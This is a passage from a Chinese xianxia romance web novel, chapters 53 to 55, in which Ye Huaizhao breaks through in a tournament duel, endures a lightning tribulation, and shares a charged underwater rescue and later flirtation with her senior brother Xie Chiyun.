因为愚笨而逃过一劫的兔子专心致志地吃草。 山谷外的男人将肩上的雪花扫落,细碎雪丝在他的指间融化。 他看着山谷中将兔子放跑的少女,微微垂下眼眸。 谢迟云最终还是没有养兔子。 因为在抓到兔子前,叶怀昭就先被带去了魔界无忘川。 而在她从无忘川回来后,也早已忘记自己曾和他人约定要养一只兔子。 她忘了很多。 只剩他还记得。 第53章 第五十三章温热的触感落在她的双唇上…… 问道大会第二轮选拔第二日。 桑春今日特意起了个大早,天还没亮便赶到了无相宫水镜殿,没等进门,就先被宫殿外围得水泄不通的人群镇住。 ……怎么来了这么多人? 桑春心中诧异,虽然今天是决出魁首的日子,但过往的问道大会最后一日也不会有这么多人围观啊? 她对着熙熙攘攘的人群沉思。 好在一个与她相熟的无相宫内门弟子在进门时瞧见了站在原地的桑春,好心道:“桑仙师,我带您进去吧。” 桑春道了声谢,挤过人群后忍不住问出了自己的困惑。 无相宫弟子抓了抓头,显然也是觉得来的人超乎寻常的多。 “可能是听说叶仙君昨日一挑四还获胜了吧,”他说,“还有昨天夜里庄仙君为了将一个修士淘汰出去,暴露了自己天罡境的修为,有很多人都想来看看这位年轻的天罡境修士。” 桑春心中了然。 这一届的问道大会算是近几届中最热闹的一场宴会,过往的问道大会中出现一个像是叶怀昭或庄丹雪这样的修士都能将话题引爆,而这一届却是直接出现了三个。 她走进殿中找到空座位坐下时,甚至还听到有人说:“这次的问道大会真是群英荟萃啊。” 另一人道:“如今这幻境中还剩四人,其中唯有青冥台的庄丹雪突破了天罡境,最有实力与她竞争的叶怀昭在昨日还受了重伤……我看今年的魁首之位,该是青冥台夺得了。” 他们胡乱猜测了一番,最后有人半开玩笑说:“也不能这么说,万一叶怀昭也突破了天罡境,这不就又有胜算了吗?” 最开始说话的人笑骂一声:“你当天罡境是什么炼气凝魂之境随随便便就能突破吗?修真界中被天罡境困死一生的修士从无相宫能一路排到长风门,她叶怀昭如今才多大?” 他斩钉截铁说:“反正我就一句话,若是叶怀昭能突破天罡境,不可能在昨日一对四中那么被动。” 桑春坐在自己的位置上,转了转自己发梢。 她知道叶怀昭一定不会输,至于怎么赢倒是不知道。 所以……桑春江目光缓缓投向水镜中的少女身上。 你要怎么做呢,叶怀昭?- 叶怀昭刚刚睡醒。 她慢悠悠地伸了个懒腰,抻了抻手脚,甚至还原地打了一套拳,才感觉自己被冻僵的肌肉和缓起来。 叶怀昭将自己身周的四运循转符重新加持了一遍,心想等她出去后一定要去泡汤泉,这白仙府这么冷,当年无妄仙尊到底是怎么做到在灵力尽失的情况下一个人活了半个月的。 难道这是北境人的天赋? 叶怀昭放任自己的思绪发散着,正要将自己身前的火堆灭去,耳边忽地捕捉到一声极细微的风声。 数根闪烁着幽幽冷光的银针自她的指间飞出,针尖凝结的赤红火焰与幽蓝剑刃相撞的一刹那炸开刺耳的铮鸣,河流旁的礁石被灵力轰碎成无数碎片。 叶怀昭足尖轻点,踩着飞溅的碎石借力后撤,银红的裙摆扫过脚下挂着冰晶的树梢。 “我说是谁呢,原来是我们青冥台的庄大小姐,”叶怀昭轻轻挑眉,笑眯眯地对着自阴影中走出的少女说道,“丹雪姐姐昨夜睡得可好?有没有人惊扰你的美梦呢?” 庄丹雪的剑尖在冰天雪地的山谷中散发着凌冽的寒气,她本人瞥了一眼还未燃尽的火堆,冷冷说:“我可不像某人,来这里是为了玩乐的。” 叶怀昭撇了撇嘴,心想,这还算玩乐?那你是没见过我真正玩乐的样子。 她们两人之间本就没什么好说的,在她眼睛轻眨的一瞬间,叶怀昭和庄丹雪同时出手。 幽蓝色的灵力与赤色的灵力在刹那间将整座山笼罩,互相撕扯吞噬,卷起的飓风几乎连风雪都撕碎。 而风暴的中央,青冥台金纹门服的少女与银红衣裙的少女持剑迎击,两道截然相反的剑意不住地在剑刃相撞时发出轰鸣。 她们交手时的气势如虹,在不到几瞬便是几百道招式过手,没有一人讨得什么好处。 但是在水镜的另一端,长风门戒律堂堂主皱了皱眉,端着茶盏的手不自觉地攥紧。 无相宫宫主替他将未尽的话说了出来:“叶仙君到底还是个医修。” 他抚了抚长须,摇头说:“若是她能掌握叶珩掌门的无象剑法,论起剑道来,或许还能与青冥台的庄仙君一战。” 幻境中的局势正如他所说。 随着时间的推移,原本还能与庄丹雪有进有退的叶怀 昭渐渐在衡微剑攻势中落于下风。 随着一道幽蓝色的剑气横斩而来,叶怀昭下意识地持剑格挡,却反被剑气逼得后退数步,撞到坚硬冰冷的石壁上。 巨大的冲击力直接让她在石壁上撞出无数道裂纹,还没等她虎口处的酸麻之感缓去,庄丹雪就已经再次持剑攻来。 “不是很能说吗?”庄丹雪道,“怎么现在不说将我淘汰出局了?” 她的剑势随着叶怀昭的势弱而节节攀升,密集如雨点般的招数刁钻地攻向叶怀昭的命门。 正如所有人认知的那样,单论剑术,叶怀昭的确比不过身为剑修的庄丹雪。 她的身上满是零碎细小的伤口,面色却不见慌乱。 “你突破了天罡境,对吗?”叶怀昭的听白剑与衡微剑相撞时,她如此说道。 庄丹雪嗤笑一声:“当然。” 她手中用力,凭着剑势将叶怀昭的长剑挑开,锋利剑刃直指对方的脖颈:“现在的你根本就不是我的对手。” 千钧一发之际,叶怀昭凭借绝佳的柔韧性硬生生地踩着飘落的雪花半空中旋身,锋利冰冷的剑气划破她的右臂,几乎时瞬间就让半个身子僵硬冰冷起来。 她捂着右臂,果断向后撤开,与庄丹雪拉开距离。 山谷中的风雪越发肆虐,几乎将对岸之人的身影也一并模糊,苍天的古树在凛冽寒风中晃动,噼里啪啦发出断裂的可怖之声。 在这时,庄丹雪听到叶怀昭说:“那可不一定。” 她的声音平静轻缓,顷刻间便被风雪淹没。 可庄丹雪的心中却渐渐升起一种莫名的心悸。 她的心中忽地蹦出来一个念头: 叶怀昭是不是早就知道她破镜了? 如果她知道,她又为何没有采取任何措施? 这个念头在她的心中盘旋,并且越来越加重份量,让她持剑的右手微微收紧。 不。 庄丹雪想,就算她知道又能如何呢? 只有她突破了天罡境,而她没有——即便叶怀昭有任何阴谋诡计,也无法抵抗绝对的实力。 庄丹雪不想再给叶怀昭翻盘的机会,她就要将她按死在这白仙府,再也不与她争抢! 少女眼中的幽蓝色火焰熊熊燃烧着,她沉心凝气,在呼啸的风声中只听到了自己一声一声,砰砰跳动的心跳。 在某一个瞬间,她抬起手,斩出一剑。 这一剑朴素寻常,却在挥出的那刻叠加出成千上万道磅礴的剑影,甚至在空中发出爆鸣的呼啸之声。 远处,时刻准备下场救人的巡场仙师为这震耳欲聋的声音嘶了一声。 “你师妹要落败了啊,”他捂着耳朵说,“庄丹雪把她们青冥台的千山剑法都用出来了,她是天罡境,这还怎么打?” 谢迟云动了动唇,巡场仙师没有听到,于是扬高声音问他:“——你说什么?” 谢迟云看着远处在空中缓慢腾起的赤色红莲。 “可以打,”他轻声说,“天罡境对天罡境,她不会落败。” 同一瞬间,包括巡场仙师在内的所有看客,在看见那道赤色红莲升起时不约而同地惊呼出声。 ——叶怀昭破镜了。 飓风依旧在山谷中呼啸。 但是无数飘落的雪花却在赤色红莲虚影升起的一瞬间化作无数燃烧的火焰,拖曳着赤色流光飞速地坠落。 每一道流光都与一道剑影相撞,像是在半空中炸起无数绚烂的烟花,燃烧的火瀑遮天蔽日地笼罩天空。 本已弱下的赤色灵力在一瞬间暴涨至顶峰,轻而易举地便将属于庄丹雪的灵力碾碎,叶怀昭踩着流光飞速逼近庄丹雪,在对方惊骇的目光中轻哼一声。 “谁说这里只有一个天罡境了?”她黑亮的眼珠几乎被映出猩红,一字一顿说,“庄丹雪,我不会败。” “倒是你,在幻境开启前不顾根基强行破镜……”少女轻笑一声,语气意味深长,“你觉得,自己以后还有战胜我的可能吗?” 庄丹雪本不该被她的话动摇。 她同叶怀昭斗了这么多年,互相放的狠话无数,听过的冷嘲热讽更是无数。 她败过,但是也胜过。 一个问道大会而已,即便叶怀昭突破了天罡境又怎样,即便叶怀昭拿到了魁首又怎样?她还可以在下一个境界、下一场幻境中战胜对方。 可是在抬起头,撞见叶怀昭那双黑亮的眼瞳时,她才发觉。 她在畏惧。 ——为了将叶怀昭彻底踩在脚下,她选择孤注一掷。 但凭什么,凭什么即便如此,她还是战胜不了她?! 她的心中被慌乱和绝望吞噬,方才的一击也已耗尽了她的大部分灵力,强行破镜没有好好稳固修为的弊端在密集的攻势中终于显现。 在庄丹雪溃不成兵之前,叶怀昭一剑贯入了她的心口。 “你父亲还有你师兄都没有提醒过你吗?”叶怀昭用只有她们两人才能听到的声音说,“你的剑道走偏了。” 庄丹雪在心神恍惚之中,身影消失在原地。 同一瞬间,刚刚走到山谷入口的宁绥骤然顿住脚步。 他低下头,看到自己手指的紫黑色印记,想到方才与那卜修交手时对方宁死也要刺他一刀的行为,不由得苦笑一声。 “还是没能黄雀在后啊。”他看着山谷上方翻涌的阴云,叹息一声,“又被阴了一招。” 他的身影也破碎在原地。 水镜外,无相宫宫主率先站起身,笑道:“既然如此,那便是长风门的叶仙君取得本次问道大会的魁首之位了。” 所有人还沉浸在两个夺魁热门接二连三的淘汰中,不断的反转让不少人还在怀疑是不是还有什么后招。 没人理会无相宫宫主的话,他尴尬地咳了一声,正要说些什么时,忽然有人指着水镜殿上方没有被遮挡的天空惊呼一声:“这是怎么回事?!” 他下意识抬头。 只见原本万里无云的天空中不知何时凝成了浓郁的漆黑,黑压压的停在了众人的头顶。 而在漆黑云层之中,隐约有银龙呼啸。 他的脸色骤然一变。 方才他们所有人都沉浸在叶怀昭当场破镜的震撼中,竟无一人想起天罡境的突破会引来雷劫! 他抬手在幻境入口上落下一道削弱的阵法,同时冷声向所有弟子喝道:“退后!” 几乎在他话音落下的那刻,震耳欲聋的雷声过后,无数道闪电同时亮起! 水镜嘭地一声破碎。 雷劫穿透云层,越过无相宫的阵法降落于幻境之中。 留在山谷中没有离开的叶怀昭微微仰头,看着头顶阴云中翻涌的闪电。 “该来的还是要来啊。” 她嘀咕一声,赤色的红莲虚影在她的脚下层层叠叠地绽放,剩余的灵力全部倾泻而出,在周身燃起防御的屏障。 可即便经过幻境外层层阵法的削弱、再被幻境自身的阵法削弱、再再被叶怀昭自己的屏障削弱后的劫雷落在身上时,叶怀昭还是没忍住砰的跪在了地上。 雷电将她身周的雪地瞬间烧成焦黑,细碎的电光噼里啪啦地炸在叶怀昭的身上,还未等她自疼痛中缓过来,第二道劫雷落下。 接着是第三道、第四道…… 叶怀昭脚下的赤色红莲开到近乎妖冶。 她的喉中腥甜,在粉身碎骨的疼痛中拼尽全力,硬扛着劫雷汲取山谷中的灵力修补自身,将阻塞的经脉撑开,强撑着将灵力灌输其中。 特意挑选的山谷灵力充裕,幻境在劫雷下摇摇欲坠,更是有无数灵力暴动地肆虐,让她轻而易举地捕捉。 叶怀昭忍着痛苦,在劫雷之中淬炼着自己的灵脉。 阵法可以削弱劫雷,可雷劫只能自己度过。 这是天道对所有试图逆天而行之人的考验。 叶怀昭喘着气,原本还在数这是第几道劫雷,可在灭顶般的疼痛中意识越发昏沉。 不知过了多久,她忽然觉得四周无比寂静,她的鼻尖嗅到了什么东西烧焦的味道,却抽不出一丝心神去辨认那是什么。 ——结束了吗? 叶怀昭身体一软,任由自己向后倒下,在冰冷刺骨的水中坠落。 在幻境中渡过雷劫是她从璇玑湖回来后 想到的计划。 她不想像庄丹雪那样为了问道大会的魁首而强行让自己破镜,可若是不破镜,那便无法打败她。 几番权衡下,她选择了最凶险的那一条路——赌自己可以在生死边缘再一次参悟到破镜的感觉。 这个计划她没告诉给任何人,但幸运的是她赌对了。 而且因为在幻境中破镜,于是劫雷为了精准落在她身上会穿过层层阵法,某种意义上来说也是她在利用幻境为自己削弱雷劫。 冰冷刺骨的河水不断冲刷着叶怀昭被雷电击中的身体,带走焦黑的粉末。 她的的灵力耗尽,细细密密的疼痛在她的躯体上蔓延,可却抵挡不住空气逐渐剥离,窒息的痛苦。 她浑身上下没有一丝力气,不想再动弹,想着在这时即便死了也能回到无相宫,干脆任由河水将她的呼吸剥离。 山谷中凌厉呼啸的风声在水中化为绵长悠远的嗡鸣,叶怀昭闭着眼睛,任由自己下坠。 “师妹!” 几乎在黑暗即将吞噬叶怀昭的前一瞬,她听到了一道熟悉的声音。 叶怀昭错愕地睁开眼睛,在碎冰飘荡的清透河水中,看到一个人执着地向她逼近。 一只比寒水更温暖的手攥住了她的手腕,将她拉进怀中。 是谢迟云。 叶怀昭心中惊诧,想问为什么你没有离开幻境,可在下一刻,被强硬地卡着脖颈抬起头。 她被迫与他贴近,心跳声在此时将所有的嗡鸣掩盖,连魂蛊同时颤动,她感知到了另外一道,不属于她的冰冷愤怒。 她睁大眼睛,在极近的距离中,看到了一张在水下显得尤为惊心动魄的面庞。 那双跳跃着幽幽冷光的眼眸凝视着她,而后缓缓垂首。 ——温热的触感落在她的双唇上。 一只带着薄茧的手掌擦过她敏感的耳后,舌尖撬开了她的齿关。 【呼吸。】他说。 第54章 第五十四章为什么渡气要咬破嘴唇?…… 叶怀昭懵了。 她甚至都没有意识到谢迟云在做什么,在对方接近的那刻就本能地屏住了呼吸,眼睛睁得溜圆地看着近在咫尺的男人。 直到对方的唇齿与她相贴着触碰,她的舌尖下意识地舔过勾来的柔软之物时,她才后知后觉地反应过来。 哦,他在给我渡气。 ——等一下,谁在给我渡气?! 叶怀昭:“……” 叶怀昭:“!!!” “轰”的一声,叶怀昭的脑中像是炸开了无数绚烂烟花,顷刻间便让她大脑残存的理智崩碎,条件反射地伸手想要推开扣着她脖颈的那人。 她的手掌毫无阻隔地贴到男人滚烫的胸膛,挣扎着使力,却绝望地发现自己好像根本推不动。 甚至她的动作还被谢迟云以为她是在拒绝他的施救,眼中燃烧的怒火更盛。 他扣住叶怀昭后颈的手掌不自觉地微微收紧,而叶怀昭在慌乱间遵循着本能,甚至咬了他一口。 几乎在尝到那一点铁锈味的瞬间,亲眼目睹叶怀昭下坠的愤怒和恐慌短暂地烧断了谢迟云的理智。 他抓得很紧,在碎冰流淌的河水中,两人在水中飘散的衣带和发丝越发纠缠,唇齿间似咬似吻。 直到山谷中冷冽的寒气扑面而来,两人才找回了理智。 叶怀昭浑身湿漉漉地坐在岸边,睫毛发丝都向下坠着水滴,刺骨的寒冷让她不自觉地打了个寒颤。 她慢了半拍地想要抬头去看谢迟云的神情,却被迎头披上了一件干燥而宽大的外袍。 叶怀昭愣了一瞬,隔着模糊的视野看到自己身前的男人似乎向旁侧了侧头。 一个陌生的人影匆匆降落,抱怨说:“乘玉君你跑这么快干什么?都说了你师妹有护心符文在不会有事,反而是你,那劫雷差点将你活生生劈死!” 叶怀昭抓着外袍的手指一顿。 她的劫雷为什么会攻击谢迟云? 谢迟云却没有解释的意思。 于是那人除了絮絮叨叨了一阵也没有别的办法,只在最后用余光扫了一眼浑身上下湿漉漉的青年,随口说:“你嘴怎么了?躲个劫雷还能把嘴唇磕破?” 叶怀昭:“……” 她嘴唇上相似位置的伤口瞬间变得火辣辣起来。 好在那人的注意力没有在谢迟云身上,而是看向抓着外袍,只露出半张脸的叶怀昭。 “恭喜叶仙君夺得魁首,”他客气地道了声喜,瞧见叶怀昭被冷水浸透的面庞,礼貌问道,“叶仙君可是需要帮助?” 他说这句时已经做好了走上前帮忙的准备,但坐在地上的少女撑着身体站起来,还没开口说话就被她的师兄打断了。 “师妹方才经了雷劫,眼下元气大伤需要静养,稍后我会带她直接回长风门的楼院,”谢迟云走过去,将叶怀昭背了起来,看向巡场仙师,“劳烦仙君帮忙向宫主解释一下。” 巡场仙师:“哦哦,没问题。” 他下意识地应了一句,看到那对师兄妹直接消失在原地,才反应过来: 不是,你师妹不是能走路吗? 你背着她算是个什么事? 另一边,叶怀昭说:“师兄,我自己能走。” 谢迟云:“我不想让你自己走。” 叶怀昭:“……” 行,你不怕累那你就背。 她放弃挣扎了,直接伸手勾住了他的脖颈,在平稳晃动的视野中微微发呆。 她想起来水下那个吻——不对,是渡气。 从师兄的角度来看,貌似就是她主动投水试图把自己淹死。想到谢迟云似乎对她生命被威胁的情况格外应激,情急之下直接下水救她渡气好像也很符合常理。 但是…… 叶怀昭不自觉地摸了摸自己被咬破的唇角,那处伤口已经结痂,触摸时只有微微的刺痛。 他对任何一个落水的人都选择渡气这招吗? 叶怀昭心中不爽起来。 谢迟云没有瞬影,而是背着她步伐平稳地走在无相宫通往长风门楼院的小道上。 叶怀昭手腕上的双银环早就摘了下来,但她的听白剑还保持缩小的状态挂在她的右手腕上,随着动作而若即若离地触碰着谢迟云的脖颈。 他不动声色地稍稍侧了侧脸。 叶怀昭趴在他的背上,想了一会又觉得很没意义。 她用另外一件事情转移自己的注意力:“师兄,你当初渡过天罡境雷劫时,一共有几道劫雷落下?” “三十六道。”谢迟云说。 叶怀昭:“但是我的劫雷有四十五道。” 谢迟云抓住她双腿的手臂倏地收紧。 叶怀昭懒洋洋地用下巴磕了一下他的肩胛骨,抱怨说:“师兄,你抓疼我了。” 她浑身上下一丁点灵力也没有,因为疲惫和疼痛说话都没有力气,尾音软绵绵得像是在撒娇。 谢迟云听得沉默片刻,才缓缓松开手。 叶怀昭于是继续说:“天罡境的劫雷都是三十六道,唯独只有我是四十五道。而且我觉得最后那几道劫雷的强度根本就不像是天罡境的水平。” 说到这里,事情已经很明了。 有人想要利用雷劫杀了叶怀昭——即便杀不了她,也要将她废掉。 叶怀昭问:“师兄,你是不是知道什么?” 如果他本就知道有人想要利用雷劫杀死她,那就能很合理地解释在她坠水时谢迟云的反应那么大。 从这个角度来说,谢迟云那时的应激或许并不是意外。 ——他是真的觉得自己师妹没有扛过劫雷,奄奄一息地坠水。 叶怀 昭的手掌撑在他的脊背上,谢迟云只是用术法烘干了自己身上的水,却没有穿上外袍,少女的手掌清晰地感受到他后背层层的肌理。 她说:“你是不是为我扛了劫雷?” 天罡境的劫雷只能由叶怀昭自己硬抗,可不属于天罡境的劫雷却会无差别落下。 她的视野摇摇晃晃,在碎金似的日光中看到小路尽头繁复木质的楼阁,红墙外是一棵一棵生长得繁茂的花树,浅粉色的花瓣在日光下透亮得似乎在发光。 谢迟云背着她,走过落下一层花瓣的小路。 “师妹,有时候你可以不必这么敏锐。” 不知过了多久,谢迟云轻声说。 叶怀昭微微抬起头,却被刺目的日光晃过眼睛,于是又闭着眼睛重新趴回谢迟云的脊背上,不自觉地收紧双臂。 她用额头贴着青年的肩胛骨,声音闷在布料中。 “那真是对不起了,乘玉仙君就是有这样聪明的师妹。” 她的声音带着洋洋得意的愉快,像是趴在他背上翘着尾巴的小猫。 少女手腕上的银镯似的听白剑冰凉凉地贴在谢迟云的脖颈上,他试图躲了躲——没有躲开,反而让叶怀昭不舒服地在他的背上动了动。 他的手克制地抓在她的腿上,跨过大门走进庭院,树叶的沙沙声漫过池塘潺潺。 叶怀昭的居所在楼阁的三层,谢迟云轻车熟路地将她送到屋子里,放到床上。 他习惯性地用术法帮她快速地烧了一壶水,将盛着温热清水的杯子递到叶怀昭的手中,再拉过枕头垫在她的腰后,才自己扯过一张椅子坐在床边。 “师妹还记得问道大会期间失踪的弟子吗?”他问道。 见叶怀昭点头,谢迟云继续道:“那些弟子依旧没有寻到,但是我们发现这些弟子都有一个共同的特性。” 他看着叶怀昭,轻声说:“他们皆是天资卓越、仙骨奇佳的少年天才。” 叶怀昭抿了口水,皱眉说:“所以师兄觉得我可能会是下一个失踪对象?” 但是这和他们之前推测失踪弟子和药贩子有关的情报冲突。 若真是少年天才,又何至于去买那些不入流的禁药来提高修为? 更何况除去她,庄丹雪和宁绥怎么没事? 谢迟云相像是看出了她的疑问,回答道:“失踪弟子与禁药是否有关还未可知,但是后者……师妹,昨日在你们进入幻境后,青冥台那边便来了消息,说是庄仙首不日就会到达无相宫。” 叶怀昭一惊:“庄仙首来这里做什么?” 他不是都已经快半截身子入土了吗? 谢迟云摇摇头,表示自己也不知道,只道:“这里是无相宫,有无相宫宫主和无妄仙尊坐镇,断不可能让宁绥在自家门派出事;而庄仙首的到来也让青冥台的弟子有了保障。” 算来算去,长风门这次只来了几个堂主,再加上谢迟云,当真是孤儿寡母般没有任何保障。 若是让叶怀昭选一个人动手,她也会选自己开刀。 不对,还有一人。 谢迟云在按照当初承诺的那样,帮叶怀昭分析自己从各处打听到的消息,可她却再一次走神。 谢迟云说着说着,就见叶怀昭忽然伸出手,抓住了他的手腕。 在他怔愣的瞬间,叶怀昭说:“师兄,你是不是还忘了一个人。” 她盯着他:“若是幕后之人想对我动手,那便是想对长风门动手……作为长风门在外的首席,你比我更加危险。” “比起我,你更应该关心自己。”她说。 谢迟云在安静地注视着她。 叶怀昭在他的目光中后知后觉地感到一丝难为情。 她抿了抿唇,别过脸装作无所谓地说:“我这是在关心长风门以后的发展……若是你在此时被人害了,那就是对长风门的挑衅,我绝不会放任自流。” 屋中一时间只听到清浅的呼吸声。 隔了许久,她听到对方道:“师妹,我听到你在心中说‘到底是哪个混蛋竟敢用雷劫劈我师兄,我一定要把他抓来碎尸万段’。” 叶怀昭猛地转头:“我明明已经控制住我的——” 她的声音戛然而止。 谢迟云弯着眼眸,好整以暇地看着她一寸寸僵硬的神色。 叶怀昭在心中尖叫。 他竟敢来诈我!! “原来师妹竟这般关心我吗?”他说,“你也会为我的受伤而生气、愤怒……乃至心疼吗?” 叶怀昭越听越觉得脸热,终于忍无可忍地一把将水杯砸在桌上,然后揪住他的衣襟拽向自己。 可她忘了自己那把椅子比床更高,这一拽直接让谢迟云半跪在她的床边,险而又险地用手臂撑在了她脸旁才免去摔在她身上的情况。 这措不及防的极近距离让两人同时呼吸一滞。 叶怀昭不自觉地睁大了眼眸。 她被锁在谢迟云的臂弯中,目光所及皆是那张眉心一点赤红的清隽面庞。 她甚至本能地开始对比,发现逆着光时,谢迟云的眼眸会比在水下时眸色更深一点,像是不见底的深潭。 她咬着牙,硬撑着说:“怎么了,就许你问都不问就给我挡雷劫、什么都不说就来亲我;就不许我给我们两个人报仇吗?” 她特意在“我们”二字上加重声音。 谢迟云垂下眼眸,长而卷翘的睫毛在眼底投下阴影。 “抱歉,师妹。”他说。 叶怀昭一时间都没有意识到他在道什么歉。 她本是刻意不去回想白仙府幻境中的事情,因为若是认真来算,她自己也说不清楚为什么要咬那一下。 从那刻开始,那个所谓的“渡气”就彻底乱套了。 “如果我说不接受呢?”她说,“师兄怎么能亲师妹?” 谢迟云看着她,零散的乌黑墨发散在肩后,有几缕垂在两人的身旁,遮住自窗棂透来的日光。 “那师妹要如何才能接受我的道歉?”他缓缓说。 叶怀昭的喉咙滚动,她的眼神看天看地就是不敢去看近在咫尺的谢迟云。 她怎么知道要如何才能接受道歉? “我、你刚刚把我的嘴唇咬破了!”叶怀昭的嘴巴不受控制地说,“为什么渡气要咬破嘴唇?你不知道嘴唇破了会很痛吗?” 其实并不是很痛。 在那时候,些许的刺痛甚至越发让人沉沦。 谢迟云顺着她的话看向少女的双唇。 她没有涂口脂,唇色泛着自然的红润,唇珠丰润,只是下唇上有一道明显的破裂,深红的血痂凝在伤口。 他看了片刻,低声说:“所以师妹想重新渡一次气吗?” 叶怀昭本应该拒绝的。 可在那双幽深如潭的眼眸下,她不自觉地喃喃说:“也、也不是不可以……” 她似乎听到有人低笑了一声。 叶怀昭本能地想要反驳笑什么笑,却在开口的一瞬间,一只冰冷的手指轻轻抚上她微微红肿的下唇。 那只手指轻柔和缓地揉按着她的下唇,牵扯到唇角的伤口时让她不自觉地皱眉,水润的眼眸抬起,下意识叫道:“师兄……” 她对上了一双深沉沉的,压抑着浓郁情绪的眼眸。 叶怀昭的尾音渐渐散去,怔怔地望着撑在自己脸庞上方的师兄。 而她的师兄顺从着,轻轻俯首。 不再冰凉的呼吸缠绕着接近,叶怀昭拽在手中的衣角缓缓松开,她试探地,抬手圈住了男人伏下的肩膀。 他们的鼻尖相触,双唇若即若离地缓慢贴近。 ——叶怀昭的屋外忽地传来清晰的脚步声。 第55章 第五十五章师妹不许教别人。 属于长风门几位堂主的灵力在感知中慢慢接近,甚至还传来了几道模糊不清的交谈声。 谢迟云的眼中闪过一丝无奈。 他知道叶怀昭一向逞强好胜、从不愿在外表现出软弱的一面,自然更不愿在几个堂主面前丢脸。 他收回按在叶怀昭脸颊侧面的手,半撑着身体想要起身。 可他刚刚 离开床榻,就见叶怀昭忽然伸出手,硬生生勾着他的脖颈让他低头。 在谢迟云微微愣住的时候,少女仰起头撞上他的双唇。 瞬间的草药清香在鼻息间环绕。 而叶怀昭气呼呼地朝他的嘴中吹了一口气。 做完这件事后,她快速地推开他,撇过脸故作镇定说:“这才叫渡气,你之前做的那叫什么!” 说实话,她这也不叫渡气。 她甚至连撬开他的齿关都不敢。 但是被推开的青年看着少女发丝间隐约露出的绯红耳廓,眸底的暗光流淌着掠过。 他没有来得及说出第二句话。 因为在下一刻,便有人敲了敲叶怀昭的房门。 谢迟云绕过屏风,拉开门,与耷拉着眉眼满脸无聊的桑春对视。 目光相对的一瞬间,后者的眼睛慢慢眯起。 桑春向他的身后看了看,没在外面看见叶怀昭。 她盯着谢迟云看了几瞬,眼中一点一点被狐疑充斥。 谢迟云神情正常,任由她打量,还分出心思向桑春身后的几位堂主打了声招呼。 将人迎进门后,仗着没人越过屏风看见她,叶怀昭直接装作虚弱无力,由谢迟云替她担起了帮她应付问话的任务。 桑春不在问话的行列。 同为女孩,她绕过屏风去看叶怀昭时没一个人怀疑。 她坐在不久前谢迟云刚刚离开的椅子上,看着叶怀昭拉着被子蒙着半张脸的行为,质疑说:“你的脸怎么了?” 叶怀昭对她无辜地眨眼睛:“刚刚打架,不小心受伤了。” 桑春冷笑一声:“你最好别告诉我,这个打架指的是你刚刚在和你师兄舌战。” 叶怀昭:“……” 这怎么能叫舌战?她只是用嘴巴狠狠和他打架好不好? 不讲武德的是谢迟云! 叶怀昭在桑春的目光下正襟危坐,转移话题问她:“问道大会如何了?” “还能如何?”桑春说,“你这几日最好老老实实地待在无相宫——不,最好连这屋子都别出去。” 叶怀昭不满:“为什么?我只是遭了雷劫又不是受了重伤,修养两三天就好了。” 桑春冷笑:“你忘了你那赌局了吗?” 若说在这场问道大会中内心最崩溃的是庄丹雪,那么钱财最崩溃的就是押庄丹雪胜的修士。 先是有问道大会没开始前的一阵热潮,再是问道大会开始后不时有人传出庄丹雪已经破镜,最后是昨夜庄丹雪被迫暴露自己天罡境的境界。 在叶怀昭和庄丹雪决一死战时,押注庄丹雪夺得魁首的人直接开始半路狂欢,走街串巷地开始欢呼。 结果叶怀昭愣是打架打了一半破镜了,三下五除二将庄丹雪和宁绥都淘汰出局,夺得魁首。 若非叶怀昭甚至都没回水镜殿就被她师兄带回了住处,她现在能不能不被套麻袋地从水镜殿回来都难说。 如今的平清城,绝对是叶怀昭走几步都要考虑一下是不是有陷阱等着她的地步。 叶怀昭因为不能出门而心中遗憾几瞬,可转念一想,等过几日她就能从庄丹雪手中拿到承认她得到魁首的钱财,心情又好了起来。 直到听到桑春问她宁绥到底和她一同算计了什么,叶怀昭才冷笑一声:“是他想把我们所有人都算计一遍,我可没和他合作。” 白仙府幻境辽阔,但幻境的法则是尽可能地将幻境中的所有人都牵引交汇,强行让不同的人见面。 正如第一轮对决时,无相宫允许有人操纵择签纸晋级一样,第二轮对决也给卜修这类不擅正面对决的修士指引了获胜方法。 那便是操纵幻境。 之前同叶怀昭交手的阵修和符修便短暂地操纵过幻境。 他们将叶怀昭所在位置的灵力抽离,让她身周感受到的灵压增强,甚至最后还结合阵法让她陷入了伸手不见五指的黑暗。 他们失败只是因为叶怀昭太强,并非学艺不精。 放在宁绥身上,他能做的就更多。 从所有人踏入幻境的那一刻,他们的情况和位置便时刻掌握在宁绥的手中。 庄丹雪早已破镜和叶怀昭临近破镜的情况瞒不过他,于是他便操纵着幻境,强行让她们分别遭遇强敌、再互相伤害、最后他渔翁得利。 这是他的理想计划,而现实之所有没有按照他的计划发展,是因为叶怀昭碰到了除他之外的另一个卜修。 他能支配叶怀昭等人,却无法支配在卜卦推演一术上,比他更为擅长的卜修。 “我没有和他联手,”叶怀昭懒洋洋说,“和我联手的是那个卜修。” 卜修为她拖住宁绥,而她保证她夺得第四名。 她们一拍即合,并且取得了成功。 这个计划只有唯一一个缺点。 叶怀昭轻啧一声:“又让那小子躲了过去,等我修养好了,一定连本带利地揍他一顿。” 算上璇玑湖的那次,宁绥一共欠她两顿打。 桑春对她的记仇习以为常:“你先把自己养好再说吧。” 桑春和几位堂主离开了,临走前说这次问道大会的宴席大概会在三日后进行,让她记得参加。 叶怀昭应了下来。 她当然会参加,庄丹雪那副心有不甘但又无可奈何的表情她可还没欣赏够呢。 “师妹。”谢迟云在屏风外叫她。 叶怀昭:“干嘛?” 她现在一听见谢迟云的声音就回想起来方才两个人脑子都不清醒时说过的话,脸颊腾地一下就开始发烫。 她警惕说:“我困了,我要睡觉,不许再来打搅我。” 谢迟云倒是没想打搅她。 他深刻知道师妹的性子多少还是有点我行我素的顽劣——她只许自己越界去撩拨别人,却会在旁人越界时像是被踩了尾巴的猫一样蹭地一下窜出去老远。 除非把她哄高兴了,逼得越紧反而会让她不耐烦地一爪子拍过来让人滚蛋。 只是确实还有一件事情没说完。 谢迟云正斟酌着怎么开口,因为沉默的时间有点久,直接让叶怀昭以为他是还在想方才那事。 叶怀昭恼怒地说:“我教过你怎么渡气了,再学不会就是你笨,我教别人也不要教笨蛋!” 谢迟云的思绪一顿。 他将手撑在屏风的边缘,缓缓问她:“你想教谁?” 叶怀昭故意气他:“反正不是你。” 她这么说着,脑中忽地想起一件被她不甚在意抛之脑后的事情。 在乐寿城时她曾不慎跌入过谢迟云的怀抱。 在他的怀中,她似乎短暂地被人用手掌挡住眼眸,而对方让她闭眼。 可后来谢迟云说当时他没有说话。 如果不是他说的话,那就是她的某一段记忆被触动了,才让她产生了错觉。 